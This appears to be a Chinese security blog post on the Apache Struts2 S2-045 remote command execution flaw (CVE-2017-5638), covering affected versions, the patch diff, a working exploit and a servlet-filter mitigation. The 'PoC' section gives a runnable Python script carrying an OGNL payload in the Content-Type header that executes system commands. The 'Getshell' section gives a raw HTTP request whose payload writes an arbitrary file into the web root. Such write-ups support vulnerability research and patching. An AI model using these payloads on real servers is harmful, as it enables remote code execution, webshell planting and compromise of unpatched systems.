MENU

Struts2 S2-045 Remote Command Execution(CVE-2017-5638)

March 7, 2017 • Security

0x01 前言

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时可能存在远程命令执行,导致系统被入侵,漏洞评级为高危。

0x02 漏洞详情

漏洞概述

  • 漏洞编号:S2-045
  • CVE编号:CVE-2017-5638

攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响范围

  • 风险等级:高风险
  • 漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
  • 影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
  • 安全版本:Struts 2.3.32、Struts 2.5.10.1

0x03 漏洞分析

漏洞关键点

  • 基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
  • 恶意攻击者精心构造Content-Type的值

补丁对比

通过版本比对定位漏洞原因

2.3.32:https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a

1.jpg

2.5.10.1:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

2.jpg

  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java

加固方式对用户报错加了条件判断

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
         } else {
            return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
         }

Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码,当Content-Type注入Payload后就可以通过OGNL执行命令了。

0x04 PoC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
import ssl
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers


def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    ssl._create_default_https_context = ssl._create_unverified_context
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()


poc()

Getshell

POST /test.action?f=css3.jsp HTTP/1.1
Host: 192.168.1.105:8080
Content-Length: 13
Cache-Control: max-age=0
Origin: http://192.168.1.105:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: _multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.105:8080/test.action
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=2905AC0C4AAE617FD1A8E0FE27391DB6
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0.1
Connection: close

test_xxx

会在根目录下面生成css3.jsp,内容就是test_xxx

99c1ca0fed253ae75fe23dccc6b6f326.png

0x05 安全加固&修复建议

  • 升级至Struts2安全版本
  • 使用Servlet过滤器验证Content-Type过滤不匹配的请求multipart/form-data

加固方式

通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。

加固代码:

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

    /**
     * 
     */
    private static final long serialVersionUID = 1L;
    
    
    public final String www_url_encode= "application/x-www-form-urlencoded";
    public final String mul_data= "multipart/form-data ";
    public final String txt_pla= "text/plain";

    public void doFilter(ServletRequest arg0, ServletResponse arg1,
            FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) arg0;
        HttpServletResponse response = (HttpServletResponse) arg1;
        
        String contenType=request.getHeader("conTent-type");
        
        if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
            
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("非法请求Content-Type!");
            return;
        }
        arg2.doFilter(request, response);
    }

    public void init(FilterConfig arg0) throws ServletException {

    }

}

1.将Java编译以后的SecurityFilter.classSecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下。

2.配置Filter

将下面的代码加入WEB-INF/web.xml文件中。

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

/*代表拦截所有请求,进行攻击代码检查,*.action只检查.action结尾的请求。

示例:

s21.png

3.重启应用即可

0x06 参考

Archives QR Code
QR Code for this page
Tipping QR Code